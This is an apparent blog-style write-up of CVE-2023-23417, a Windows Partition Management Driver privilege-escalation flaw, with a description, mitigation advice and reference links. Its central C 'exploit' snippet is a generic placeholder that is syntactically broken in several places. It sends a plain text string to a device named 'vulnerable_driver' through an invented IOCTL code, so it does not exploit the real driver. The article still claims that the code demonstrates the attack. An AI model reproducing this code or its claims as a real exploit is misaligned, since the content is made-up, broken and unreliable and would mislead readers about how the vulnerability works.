In this article, we will discuss the details of the Windows Partition Management Driver Elevation of Privilege vulnerability, referenced by the Common Vulnerabilities and Exposures (CVE) as CVE-2023-23417. We will look into how the vulnerability can be exploited, the code snippet, and offer links to original references.

CVE-2023-23417

CVE-2023-23417 is a Windows Partition Management Driver Elevation of Privilege vulnerability. The vulnerability exists due to improper verification of access permissions by the Windows Partition Management Driver. An attacker could exploit this vulnerability to gain elevated privileges on their target's system, potentially compromising the system's security.

Exploit Details

To exploit the vulnerability, an attacker would need to have local access to the victim's machine with valid credentials. The attacker would then need to run a specially crafted application, which takes advantage of the vulnerable Windows Partition Management Driver. This would allow the attacker to gain higher privileges, possibly enabling them to run arbitrary code or commands on the targeted system.

Below is a sample code snippet to demonstrate the exploit of this vulnerability

#include <windows.h>
#include <stdio.h>

int main() {
  HANDLE hDevice;
  DWORD ioctl = x00123456; // The IOCTL Code for the vulnerable Windows Partition Management Driver
  DWORD bytesReturned;
  
  // Open a handle to the vulnerable driver
  hDevice = CreateFileA("\\\\.\\vulnerable_driver",
                  GENERIC_READ | GENERIC_WRITE,
                  , NULL,
                  OPEN_EXISTING,
                  FILE_ATTRIBUTE_NORMAL,
                  NULL);
  
  if(hDevice == INVALID_HANDLE_VALUE) {
    printf("Error: Unable to open a handle to the vulnerable driver!\n");
    return -1;
  }
  
  // Buffer to send the arbitrary command
  char payload[] = "This is an arbitrary command for exploit";

  // Execute the IOCTL with the payload
  BOOL result = DeviceIoControl(hDevice,
                             ioctl,
                             payload, sizeof(payload),
                             NULL, ,
                             &bytesReturned,
                             NULL);
  
  if(result) {
    printf("Exploit executed successfully.\n");
  } else {
    printf("Error: Exploit execution failed! Error code: %d\n", GetLastError());
  }

  // Close the handle to the vulnerable driver
  CloseHandle(hDevice);
  
  return ;
}

The above code snippet demonstrates how to open a handle to the vulnerable driver and execute IOCTL with an arbitrary payload. In this instance, the payload is a simple string.

1. https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2023-23417
2. https://nvd.nist.gov/vuln/detail/CVE-2023-23417

Mitigation

It is essential to apply security updates and patches provided by Microsoft to address this vulnerability. In addition, users and administrators should exercise caution while granting user permissions and avoid using software from untrusted sources.

Conclusion

We have discussed the Windows Partition Management Driver Elevation of Privilege vulnerability (CVE-2023-23417) in detail, including the exploit, code snippet, and original references. It is crucial to stay vigilant and apply the necessary security updates and patches to safeguard your system from such vulnerabilities.

Timeline

Published on: 03/14/2023 17:15:00 UTC
Last modified on: 03/23/2023 16:55:00 UTC